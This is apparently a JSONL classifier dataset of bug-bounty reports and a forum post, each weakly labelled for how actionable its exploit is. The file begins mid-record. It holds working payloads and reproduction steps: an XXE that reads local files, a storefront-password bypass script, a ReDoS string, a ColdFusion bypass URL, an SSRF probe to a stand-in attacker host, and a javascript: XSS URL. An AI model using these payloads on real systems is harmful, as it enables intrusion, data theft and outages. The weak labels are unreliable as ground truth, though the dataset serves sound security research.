//doaction.org/do_action-export-1562194534/\nhttps://doaction.org/do_action-export-1562571037/\nhttps://doaction.org/do_action-export-1562669416/\nhttps://doaction.org/do_action-export-1562930528/\nhttps://doaction.org/do_action-export-1565427972/\nhttps://doaction.org/do_action-export-1565441079/\nhttps://doaction.org/do_action-export-1567233021/\nhttps://doaction.org/do_action-export-1567233029/\nhttps://doaction.org/do_action-export-1567233035/\nhttps://doaction.org/do_action-export-1567233041/\nhttps://doaction.org/do_action-export-1567233047/\nhttps://doaction.org/do_action-export-1567233054/\nhttps://doaction.org/do_action-export-1567827712/\nhttps://doaction.org/do_action-export-1571049910/\nhttps://doaction.org/do_action-export-1571361570/\nhttps://doaction.org/do_action-export-1571421316/\nhttps://doaction.org/do_action-export-1574064498/\nhttps://doaction.or", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1ea93e66f26612372164", "text": "[XML External Entities (XXE)] [HTA2] XXE on https://███ via SpellCheck Endpoint.\n\n## Summary:\nThere is a full read XXE vulnerability on \n\n## Steps To Reproduce:\n  1. Log into `https://██████/` with the credentials `██████`\n  2. Get your cookies and make the following HTTP Request with them\n\n```\nPOST /Kview/CustomCodeBehind/Base/Utilities/RapidSpellHelpFile.aspx HTTP/1.1\nHost: ███████\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:69.0) Gecko/20100101 Firefox/69.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: text/xml; charset=UTF-8\nContent-Length: 1238\nConnection: close\nReferer: https://██████████/Kview/CustomCodeBehind/Base/PersonalHomepage/PersonalHomepageCalendarAddEvent.aspx?EventAction=AddEvent&EventDate=10/16/2019%2012:00:01%20AM\nCookie: [COOKIES]\n\n<?xml version=\"1.0\"?>\n<!DOCTYPE r [<!ENTITY a SYSTEM \"file:///c:\\Windows\\System32\\Drivers\\etc\\hosts\">]>\n<r><resp>xml</resp><textToCheck>&a;</textToCheck><IAW/><UserDictionaryFile/><DictFile>d:\\Meridian\\MWRA\\MG\\11.1\\KView\\CustomCodeBehind\\Base/en-US/DICT-EN-US-USEnglish.dict</DictFile><SuggestionsMethod>HASHING_SUGGESTIONS</SuggestionsMethod><LanguageParser>ENGLISH</LanguageParser><SeparateHyphenWords>False</SeparateHyphenWords><V2Parser>True</V2Parser><SSLFriendlyPage>/KView/CustomCodeBehind/WebResource.axd?d=zqrwmEhOpCtb9wLAM9uWrOzT_jYv5Un0ehQNczyIJSp-b9XbsULhZuZahCBf8Qk8anUm2kaMbXSDgD8qtwoc7T6Vnc9cbWVmTwIkPCbvIqLzTEGbDgA2oGtmx8o1&amp;t=633221022140000000</SSLFriendlyPage><SuggestSplitWords>True</SuggestSplitWords><IncludeUserDictionaryInSuggestions>True</IncludeUserDictionaryInSuggestions><WarnDuplicates>True</WarnDuplicates><IgnoreWordsWithDigits>True</IgnoreWordsWithDigits><CheckCompoundWords>False</CheckCompoundWords><LookIntoHyphenatedText>True</LookIntoHyphenatedText><GuiLanguage>ENGLISH</GuiLanguage><IgnoreXML>False</IgnoreXML><IgnoreCapitalizedWords>False</IgnoreCapitalizedWords><ConsiderationRange>-1</ConsiderationRange><IgnoreURLsAndEmailAddresses>True</IgnoreURLsAndEmailAddresses><AllowMixedCase>False</AllowMixedCase></r>\n```\n\nYou will see the contents of `c:\\Windows\\System32\\Drivers\\etc\\hosts` in the response:\n\n██████████\n\n\nWe can also make HTTP requests to external and internal applications and read the full responses. We can also like steal NTLM domain hashes.\n\n████\n\n## Supporting Material/References:\n\n  * https://techblog.mediaservice.net/2018/02/from-xml-external-entity-to-ntlm-domain-hashes/\n\n## Impact\n\nCritical, an attacker can read local files, make HTTP requests to internal applications and read the responses, steal NTLM hashes, and also completely deny service to the application.\n\nBest,\nCorben Leo (@cdl)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0ad5d260f6c3a2f02423", "text": "[Unknown] [Javascript]: Add new queries for Javascript Github Actions\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "069e0146be016193a969", "text": "[Improper Access Control - Generic] Theme editor `oseid` parameter is leaked to third-party services through the `Referer` header which leads to somekind of storefront password bypass.\n\nHello Shopify,\n\n## Summary\nWhile reading @danishalkatiri's report #997350, I remembered a report that @francisbeaudoin shared with me some time ago*(mid-February 2021)* about leaking the theme editor `oseid` parameter and being able to exploit it to a point where he was able to somewhat bypass the storefront password. So, given all that knowledge, I went on to replicate pretty much what was done in #997350, but within the theme editor scope instead, hoping that the `oseid` parameter would be leaked through the `Referer` header...and it did!\n\n## Requirements\n1. A shop*(your-shop.myshopify.com)* with password protection enabled.\n\n2. At least one active product (will be used in the theme editor preview).\n\n3. Burp Suite Proxy.\n\n## Steps to reproduce\n1. **[Victim]** From your shop, in the themes page, customize your currently published theme and move on to the theme editor.\n\n2. **[Victim]** In the theme editor, from the preview dropdown located on top, choose `Products` and then `Default product`.\n\n3. **[Victim]** From the product page, in the editor preview, click any of the social media sharer icon that appears under the product details *(Pinterest used for this POC)*.\n 3.1. Have Burp Suite proxy ready to intercept requests.\n\n4. **[Victim]** A prompt is shown, telling you that the link cannot be opened inside the editor and that it will be opened in a new window, click ok and go on with it.\n\n5. **[Victim]** Intercept the request with Brup Suite proxy and the intercepted request should look like the following:\n\n\t```http\n\tGET /pin/create/button/?url=https://{shop}.myshopify.com/products/example-t-shirt&media=//cdn.shopify.com/s/files/1/0262/8304/9016/products/saltymermaid-avatar_f9d13a6b-bb24-4dd8-b611-70ad25dd2d24_1024x1024.png?v=1617650754&description=Example%20T-Shirt HTTP/1.1\n\tHost: pinterest.com\n\tSec-Ch-Ua: \"Chromium\";v=\"91\", \" Not;A Brand\";v=\"99\"\n\tSec-Ch-Ua-Mobile: ?0\n\tUpgrade-Insecure-Requests: 1\n\tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n\tSec-Fetch-Site: cross-site\n\tSec-Fetch-Mode: navigate\n\tSec-Fetch-User: ?1\n\tSec-Fetch-Dest: document\n\tReferer: https://{shop}.myshopify.com/products/example-t-shirt?oseid={oseid}\n\tAccept-Encoding: gzip, deflate\n\tAccept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7\n\tConnection: close\n\t```\n\n6. **[Victim]** Notice the shop handle and `oseid` parameter are exposed at **line \\#12** of the intercepted request through the `Referer` header.\n 6.1.  From here, our shop handle and the oseid parameter would have been leaked to a third-party and potentially exposed to a malicious insider.\n\n7. **[Attacker]** Now from a clean browser session (incognito recommended), go to your shop storefront where you should be faced with the \"opening soon\" or \"password\" page.\n\n8. **[Attacker]** Open up your browser development tool and copy the following code snippet into your console while making sure to replace the `shopHandle ` and `oseid` variables with the right values:\n\n\t```javascript\n\tlet shopHandle = 'victim-shop', oseid = 'oseid-1234';\n\n\tconst iframe = document.createElement('iframe');\t\n\tiframe.src = `https://${shopHandle}.myshopify.com/?oseid=${oseid}`;\n\tiframe.height = window.innerHeight;\n\tiframe.width = window.innerWidth;\n\tiframe.style.position = 'absolute';\n\tiframe.style.zIndex = '9001';\n\tiframe.style.top = iframe.style.left = 0; \n\n\tdocument.querySelector('body').appendChild(iframe);\n\t```\n\n9. **[Attacker]** At this point,  you should have \"bypassed\" the storefront password and should now be able to navigate within the iframe.\n\n## Impact\n\nIn this scenario, the theme editor `oseid` parameter was leaked through the `Referer` header to a third-party service where a malicious insider could later ex", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dc6a1dd1b599685beec2", "text": "[Uncontrolled Resource Consumption] DOS via move_issue\n\n### Summary\nMoving an issue with a specially-crafted description results in high CPU usage for 60 seconds (request timeout).\nMultiple requests can be issued in parallel to create a larger impact.\n\n### Steps to reproduce\n1. Given an authorized user (on GitLab.com - anyone can self-register. On EE - depends on instance configuration).\n2. Create an issue with the following description (provided a one-line python script to avoid bloating):\n3. Once created, move the issue to a different project.\n\nThe script:\n```python -c \"print('![l' * 100000 + '\\n')\"```\nNote: works with a lower number of repetitions too.\n\n\n### Impact\nAfter 60 seconds (timeout) - the request fails.\nMeanwhile, on the server end, (a single) CPU is burnt out (verified against a local EE instance).\nIssuing multiple requests in parallel (on multiple GitLab issues) results in multiple CPUs burn out.\nUsing the DockerHub image, the entire server is completely unavailable by repeatedly sending a small number of requests repeatedly.\n\n### Examples\nThe bug is instance-independent, works on latest versions. Since GitLab.com is open-core - it would work on GitLab too.\n\n### What is the current *bug* behavior?\nThe HTTP request fails for timeout while the server is burning CPU.\n\nOn the code side:\nlib/gitlab/gfm/uploads_rewriter.rb / module Gitlab/Gfm / class UploadsRewriter / function files:\n```@text.scan(@pattern)```\nWhere FileUploader::MARKDOWN_PATTERN is assigned to the pattern data member.\n\nMARKDOWN_PATTERN is: \n```\\!?\\[.*?\\]\\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\\)```\nThe pattern is of a polynomial complexity, thus, the scan results in high CPU utilization.\n\n### What is the expected *correct* behavior?\nInstead of using Ruby’s default Regex engine, use the RE2 engine (or the wrapped version at lib/gitlab/untrusted_regexp.rb), with the following pattern:\n```\\!?\\[.*\\]\\(/uploads/([0-9a-f]{32})/(.*)\\)```\nAs RE2 does not go beyond O(n), this scan becomes linear.\nNote: since RE2 does not support named captures, all references should be fixed - assigning the results to secret/identifier local variables.### Relevant logs and/or screenshots\n\n### Output of checks\n\n#### Results of GitLab environment info\n\n## Impact\n\nA complete denial of service of a GitLab EE instance.\nAs this vulnerability impacts GitLab.com, we assume that this vulnerability opens the door for a DDOS attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f01f6962e74af207ce50", "text": "[Insecure Direct Object Reference (IDOR)] IDOR  ' can delete any animal from other account  '  at https://www.miroyalcanin.cl/\n\nhi team\ni found IDOR , i can delete any animal from other account easily\n\n1.  Go to registration page (https://www.miroyalcanin.cl/)\n2.  Verified your account.\n3.  Go to login page and login your account.\n\nFor the fastly test, use this credentials to login (my test account)\n\n * For Attacker\n\nemail: wageba9443@snowlash.com\npass: Password\n\n * For Victim\n\nemail: jejab86205@fitzola.com\npass: Password\n\nAfter login i create 2 account for attacker and victim , in the attacker's account, i delete my animal, and i send request to burp .. i change my animal id to victim animal id so i succeeded\n\n{F2293054}\n\n## Impact\n\nIDOR", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e8ac934a5a158dc6bc68", "text": "[Improper Authorization] [h1-2102] [PLUS] User with Store Management Permission can Make enforceSamlOrganizationDomains call - that should be limited to User Management Only\n\n## Summary:\n[PLUS] User with Store Management Permission can Make enforceSamlOrganizationDomains call - that should be limited to User Management Only\n\n## Description: \nUser with Store management permission as shown in below screenshot\n{F1168574}\n\nShould not have the ability to enforce SAML organization domains, because this should be limited to user with `User Management` permission only.\n\n## Steps To Reproduce:\n- As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have store management permission - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api\n- As an org plus admin, create a Org domain, by visiting `https://shopify.plus/:id/users/security` and `Add Domain`\n- Now login as the low-privileged user we created in the first step\n- Make this call to figure out the domain id of your organization as a low privileged user\n\n```\nPOST /34946971/stores/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\n...\n\n{\"query\":\"query{organization{domains{id}}}\"}\n```\n\n- Click around until you see the call to `POST https://shopify.plus/34946971/stores/api`, send that to repeater and make the GraphQL call below\n- Make this GraphQL call to enforce SAML integration with that domain, with `REPLACE_ME` replaced by the user id you got from above steps\n\n```\nPOST https://shopify.plus/34946971/stores/api\n...\n...\n\n{\"query\":\"mutation  {\\n  enforceSamlOrganizationDomains(domainIds:[\\\"REPLACE_ME\\\"]) {\\n   userErrors{message} }}\\n\"}\n```\n\n## Impact\n\nThis action should not be carried out by users with `Store management` permission, although the impact is limited, this should still be restricted.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9aa5f1b6a7da08a77a00", "text": "[Cross-site Scripting (XSS) - Generic] UXss on brave browser via scan QR Code\n\n## Summary:\n\nI found UXss in your browser, and executed Xss on all open domains.\nbefore that I want to tell you a little, that I've found a vulnerability like this in Microsoft Edge :\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-23258\n\nOppo browser : (Private/no disclosure)\n\nand now i found it in your application\n\n## Products affected: \n\n * Android 13, Brave browser version 1.48.164,  Brave Nightly browser version 1.50.53, Brave Beta Browser version 1.49.106, Chromium 110.5481.100\n\n\nPayload : {F2191688}\nThis is a QR Code containing the url : javascript:alert(document.domain);\n\nwhich the attacker will use to attack the victim\n\n\n## Steps To Reproduce:\n- Open Brave browser\n- Open www.google.com\n\n{F2191713}\n- Click the url bar and delete the url (click the cross on the Url Bar)\n\n{F2191709}\n- You will see a Scan QR Code button\n\n{F2191707}\n- Click Scan QR Code button & Scan the QR Code above\n\n{F2191708}\n\n- Xss Executed.\n\n{F2191706}  {F2191705}\n\n\n\n## Supporting Material/References:\n\n{F2191774}\n\n\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-23258\n\n## Impact\n\nAttackers can steal the victim's cookies, and as you can see at this point. that this vulnerability does not only affect brave, but will affect all existing domains/websites. and it is very possible that websites such as facebook.com, google.com, microsoft.com are also affected by this vulnerability\nexample :\nhttps://portswigger.net/daily-swig/microsoft-edge-translator-contained-uxss-flaw-exploitable-on-any-web-page", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-23258"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0c4656265c993c32f3cd", "text": "[Improper Access Control - Generic] Adobe ColdFusion - Access Control Bypass [CVE-2023-38205] at ██████\n\nHello Gents, I would like to report an issue where attackers are able to bypass the product feature that restricts external access to the ColdFusion Administrator. [CVE-2023-38205] at `██████`\n\n\n\n## Steps to reproduce\n+ Please open the following link:\n\n> https://█████████/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\n\n## Proof of concept\n\n+ ████\n\n## Impact\n\nAccess Control Bypass.\n\nThanks and have a nice day!\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n+ Please open the following link:\n\n> https://████████/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38205"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e6d9d84ba17189ed7465", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF on https://my.exnessaffiliates.com/ allows for internal network enumeration\n\n## Summary:\nHi\nHope you're well\nI have found a Blind SSRF vulnerability, in an endpoint on exnessaffiliates.com endpoint, which would allow for Internal network enumeration.\n\nThe endpoint in question is \n`https://my.exnessaffiliates.com/api/partner_integrations/template/probe`\n\nWhen an attacker makes a POST request, with the post data:\n```\n{\"data\":{\"url\":\"https://attacker-domain.tld\"}}\n```\n\nWe can see a DNS and HTTP request being made as so:\n```\nGET / HTTP/1.1\nHost: sa66ovrblrbiviochnojtli2bthk5ft4.oastify.com\nsentry-trace: xxx,baggage: sentry-trace_id=xxx,sentry-environment=production,sentry-public_key=xxx,sentry-transaction=/api/v1/partners/%7Bpartner_partner_uid%7D/integrations/\nUser-Agent: python-requests/2.28.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nuber-trace-id: xxx\n```\n\nThis is itself, would constitute a minor Blind SSRF vulnerability, if it is not intentionally accepted.\n\nHowever, if we use the post data:\n```\n{\"data\":{\"url\":\"https://127.0.0.1:80\"}}\n```\n\nNormally, if the port/host is not reachable, it will return a simple error:\n```\n\"code\":\"ValidationError\",\"message\":\"Invalid input.\",\"details\":[{\"field\":\"url\",\"message\":\"Invalid Postback URL\",\"code\":\"invalid\"}]\n```\n\nHowever, if the port is open, Python Requests is returning the error message to the user as so:\n{F2117769}\n\nThis indicates that the HTTP port 80 on 127.0.0.1 is open.\n\nWith permission, I will further this attack to inspect the internal network.\n\n\n## Steps to Reproduce:\n[Add details for how we can reproduce the issue. Please ensure reproducibility of the issue.]\n\n  1. Make a POST request to https://my.exnessaffiliates.com/api/partner_integrations/template/probe/\n       with the post data \n      {\"data\":{\"url\":\"https://127.0.0.1:80\"}}\n\n\n## Impact\nHow does the issue affect the business or the user? \nInternal network details are disclosed.\n\nWhat can the attacker get through the issue? \nInternal network device enumeration\nUtilise the requests for DDOS on a victim's server.\n\n\nCan the issue be escalated further? If so, how? \nPotentially, I will attempt further escalation with permission.\n\n## Mitigation\nDo not return Python errors to the user - even when URL contains blacklisted contents.\n\n\n## Supporting Material/References:\nattached above.\n\n## Impact\n\nCurrently, this will allow for network enumeration from the internal IP:\n███████\nWith permission, I will attempt to escalate this issue to inspect the internal network further, and attempt RCE.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dc0fc7d1a728bdffbb80", "text": "Hi, I also have a question. I created a userlist based on Harry Potter with the username_anarchy tool. I created a pass list based on the name I got in the previous exercise using cupp. Parameters also set to correct and still bruteforcing lasts about an hour and does not give a positive result. What am I doing wrong? Edit: i found solution of my problem. Little advice, when you generate list in cupp, remember only Name, special characters and 1337 is Yes, other, just hit Enter.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "184b3b881a74c9628d1f", "text": "[Unknown] Clickjacking\n\n##Summary\n\nClickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.\n\nWebsites are at risk of a clickjacking attack when they allow content to be embedded within a frame.\n\nAn attacker may use this risk to invisibly load the target website into their own site and trick users into clicking on links which they never intended to. An \"X-Frame-Options\" header should be sent by the server to either deny framing of content, only allow it from the same origin or allow it from a trusted URIs.\n\n\n##Proof of concept code :- \n\nCopy the above code and paste it in notepad and save it with .html extention\nand open it in browser\n\n```\n<html> \n<head> \n<title>Clickjack test page</title> \n</head> \n<body> \n<p>Website is vulnerable to clickjacking!</p>\n\n<iframe src=\"https://app.outpost.co/settings/preferences\"  sandbox=\"allow-top-navigation allow-same-origin allow-scripts\" width=\"500\" height=\"500\"></iframe> \n\n</body> \n</html>\n```\n\nCopy and paste above given code and  save it with hack.html and  open it in browser\n\n\n\n\n##Recommendation :- \n\nAdd X-FRAME-OPTIONS header to mitigate the issue\n\n## Impact\n\nIt allows remote attackers to do some clickjacking which can be used for adding arbitrary tasks . Why? Almost all of your page has missing X-FRAME-OPTIONS header.\n\n\n##Thanks", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "96f33a1c4379ebb51e60", "text": "[Session Fixation] Session Fixation on Acronis\n\nHi there,\nThe application does not set a new Session ID in the cookie after what appears to be an authentication attempt by the user. If this was a successful login and the Session IDs are stored in cookies then this application is affected by Session Fixation vulnerability.\n\n## Steps To Reproduce\nStep-1: Open up Firefox & download Cookie Editor Extension on your browser.\nStep-2: Go to https://account.acronis.com/#/auth/login & login with your credentials.\nStep-3: Click on \"Cookie Editor\" then, click on \"Export cookie\" by clicking this we get a cookie copied in clipboard.\nStep-4: Open another browser or Private tab.\nStep-5: Go to https://account.acronis.com/#/auth/login but don't login. Just simply click on \"Cookie editor\" & click on \"Import cookie\" & paste the code which we previously exported.\nStep-6: After pasting just refresh the page and that's done you are now logged into your account without any credentials.\n\nReference:\nhttps://owasp.org/www-community/attacks/Session_fixation\nhttps://hackerone.com/reports/1201396\nhttps://hackerone.com/reports/6504\nhttps://cs.brown.edu/courses/csci1660/wiki/attacks/Session-Fixation/\nhttps://en.wikipedia.org/wiki/Session_fixation\nhttps://www.acunetix.com/blog/web-security-zone/what-is-session-fixation/\n\nNote: If there is any problem in reproduction from your side then let me know. I will provide you with a video poc.\n\n## Impact\n\nA successful session fixation attack gives the attacker access to the victim's account. This could mean access to higher level privileges or the ability to look at sensitive data. An attacker doesn't need any user credentials to login on an account what he/she will do, he/she will capture session value/token with any sniffing tools like Wireshark etc after getting session value/token he/she can easily login to the account. By this way an account can be controlled by an attacker and for this vulnerability it can also be impactful for xss attack if an attacker got xss vulnerability on your website he/she can chain the vulnerability with this attack.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c4d9580925388ca8a72", "text": "[Unknown] Conduit feed.publish API allows you to spoof other users or make it look like you have access to a restricted object\n\nThe Conduit feed.publish API allows a user to publish stories to the feed. The API accepts a parameter \"type\"  which will be set to `PhabricatorTokenGivenFeedStory` and accepts JSON in the \"data\" parameter such as the following:\n```\n{\n  \"authorPHID\": \"PHID-USER-uyg3nn764yetx6nglnbx\",\n  \"tokenPHID\": \"PHID-TOKN-medal-4\",\n  \"objectPHID\": \"PHID-TASK-lg22pqfkf4iuqbmx35k4\"\n}\n```\nThis data can be manipulated in order to spoof other users, this is done by replacing the \"authorPHID\"  value with the user that the attacker wishes to spoof. We can additionally manipulate the \"objectPHID\" to any PHID of any other object, if the object is restricted, it will look like the attacker has access to the relevant object and was thus able to award the object with a token (though the attacker does not have access to the object and the story only shows for users with access to the object). The user PHID can easily be gotten from the relevant user's page. The attacker can get the object PHID of a restricted object from the HTML of a page if the restricted object is attached in some form to the page (e.g., a restricted task as a subtask of a viewable task).\n\nI'm not exactly sure what the purpose of this API is, but it should at least be restricted in some form (e.g, only callable by bots or administrators). An attacker can also simply spam the feed with lots of stories, or cause the feed to error if given bad data (such as an empty list), in which case the relevant row will need to be deleted from the `phabricator_feed.feed_storydata`table.\n\n## Impact\n\nAn attacker can make make it look a user has performed an action which the user did not perform (awarding  a token), this could result in the relevant user being disabled if it is suspected that the account was compromised. If a disabled account is spoofed, it could look as if an attacker has discovered a way to perform an action even with the account disabled. It could also look as if an attacker has gained access to an object that they don't have access to.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "45c01c0bfe288f87c5a2", "text": "[Expected Behavior Violation] CVE-2023-28322: more POST-after-PUT confusion\n\n## Summary:\nCVE-2022-32221 fixes is insufficient.\nIn CVE-2022-32221, only CURLOPT_POST was corrected.\nHowever, CURLOPT_POST is not necessarily used when sending data with the POST method.\nCURLOPT_POST is not used in the CURLOPT_POSTFIELDS usage example on the official website.\n```\nCURL *curl = curl_easy_init();\nif(curl) {\n  const char *data = \"data to send\";\n \n  curl_easy_setopt(curl, CURLOPT_URL, \"https://example.com\");\n \n  /* size of the POST data */\n  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 12L);\n \n  /* pass in a pointer to the data - libcurl will not copy */\n  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);\n \n  curl_easy_perform(curl);\n}\n```\nAlso on this page is the following statement.\n\n>Using CURLOPT_POSTFIELDS implies setting CURLOPT_POST to 1.\n\nhttps://curl.se/libcurl/c/CURLOPT_POSTFIELDS.html\n\nI think it means that some users do not use CURLOPT_POST.\nJust to be clear, CURLOPT_POSTFIELDS does not set a `FLASE` on `data->set.upload`.\n\nCURLOPT_POST is not used in the CURLOPT_MIMEPOST usage example either.\nhttps://curl.se/libcurl/c/CURLOPT_MIMEPOST.html\n\nBased on the above, I think we need to modify the following to assign `FALSE` to `data->set.upload` if we use the following.\n* CURLOPT_POSTFIELDS\n* CURLOPT_COPYPOSTFIELDS\n* CURLOPT_MIMEPOST\n\nWe could not determine the deprecated CURLOPT_HTTPPOST.\n\n## Steps To Reproduce:\nAlmost the same source as #1704017. The difference is that line 52 is commented out.\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <curl/curl.h>\n\ntypedef struct\n{\n    char *buf;\n    size_t len;\n} put_buffer;\n\nstatic size_t put_callback(char *ptr, size_t size, size_t nmemb, void *stream)\n{\n    put_buffer *putdata = (put_buffer *)stream;\n    size_t totalsize = size * nmemb;\n    size_t tocopy = (putdata->len < totalsize) ? putdata->len : totalsize;\n    memcpy(ptr, putdata->buf, tocopy);\n    putdata->len -= tocopy;\n    putdata->buf += tocopy;\n    return tocopy;\n}\n\nint main()\n{\n    CURL *curl = NULL;\n    put_buffer pbuf = {};\n    char *otherdata = \"This is some other data\";\n\n    curl_global_init(CURL_GLOBAL_DEFAULT);\n\n    curl = curl_easy_init();\n\n    // PUT\n    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\n    curl_easy_setopt(curl, CURLOPT_READFUNCTION, put_callback);\n    pbuf.buf = strdup(\"This is highly secret and sensitive data\");\n    pbuf.len = strlen(pbuf.buf);\n    curl_easy_setopt(curl, CURLOPT_READDATA, &pbuf);\n    curl_easy_setopt(curl, CURLOPT_INFILESIZE, pbuf.len);\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host1.com/putsecretdata\");\n    curl_easy_perform(curl);\n\n    // Without this line, a PUT instead of a POST will be sent below (this is a bug in libcurl)\n    //curl_easy_setopt(curl, CURLOPT_UPLOAD, 0L);\n\n    // Without this line, the POST below will send \"This is highly secret and sensitive data\"\n    //    when instead the user intended to send \"This is some other data\"\n    // With this line, the program will attempt to use freed data, causing a segfault or any number\n    //    of potential exploits.\n    //free(pbuf.buf);\n\n    // POST (will be a PUT without the line just above)\n    //curl_easy_setopt(curl, CURLOPT_POST, 1L);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, otherdata);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(otherdata));\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host2.com/postotherdata\");\n    curl_easy_perform(curl);\n\n    curl_easy_cleanup(curl);\n\n    curl_global_cleanup();\n\n    return 0;\n}\n```\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-28322", "CVE-2022-32221"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa6749a954bef52fe8ff", "text": "[Information Disclosure] information disclosure of another company bug on video.\n\n**Summary:**\nthere is a  information disclosure of another company bug submitted by researcher in https://hackerone.com/reports/1842822 this report.\nThis may lead a huge problem to that company must fix as soon as possible.\n\n\n### Steps To Reproduce\n\n1. go to https://hackerone.com/reports/1842822 and see the video {F2131973}\n2. you can see █████\n3. there is clearly written a bug type as well as in which company and its subdomain .which may not be fixed by the company .\n4: this type of information disclosure of another company create a huge problem to that company . so this should be fixed.\n\n## Impact\n\nthis type of issue should be fixed by hacker one before making the report publicly . please delete the video as soon as possible. the information disclosure of that bug is high as well.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
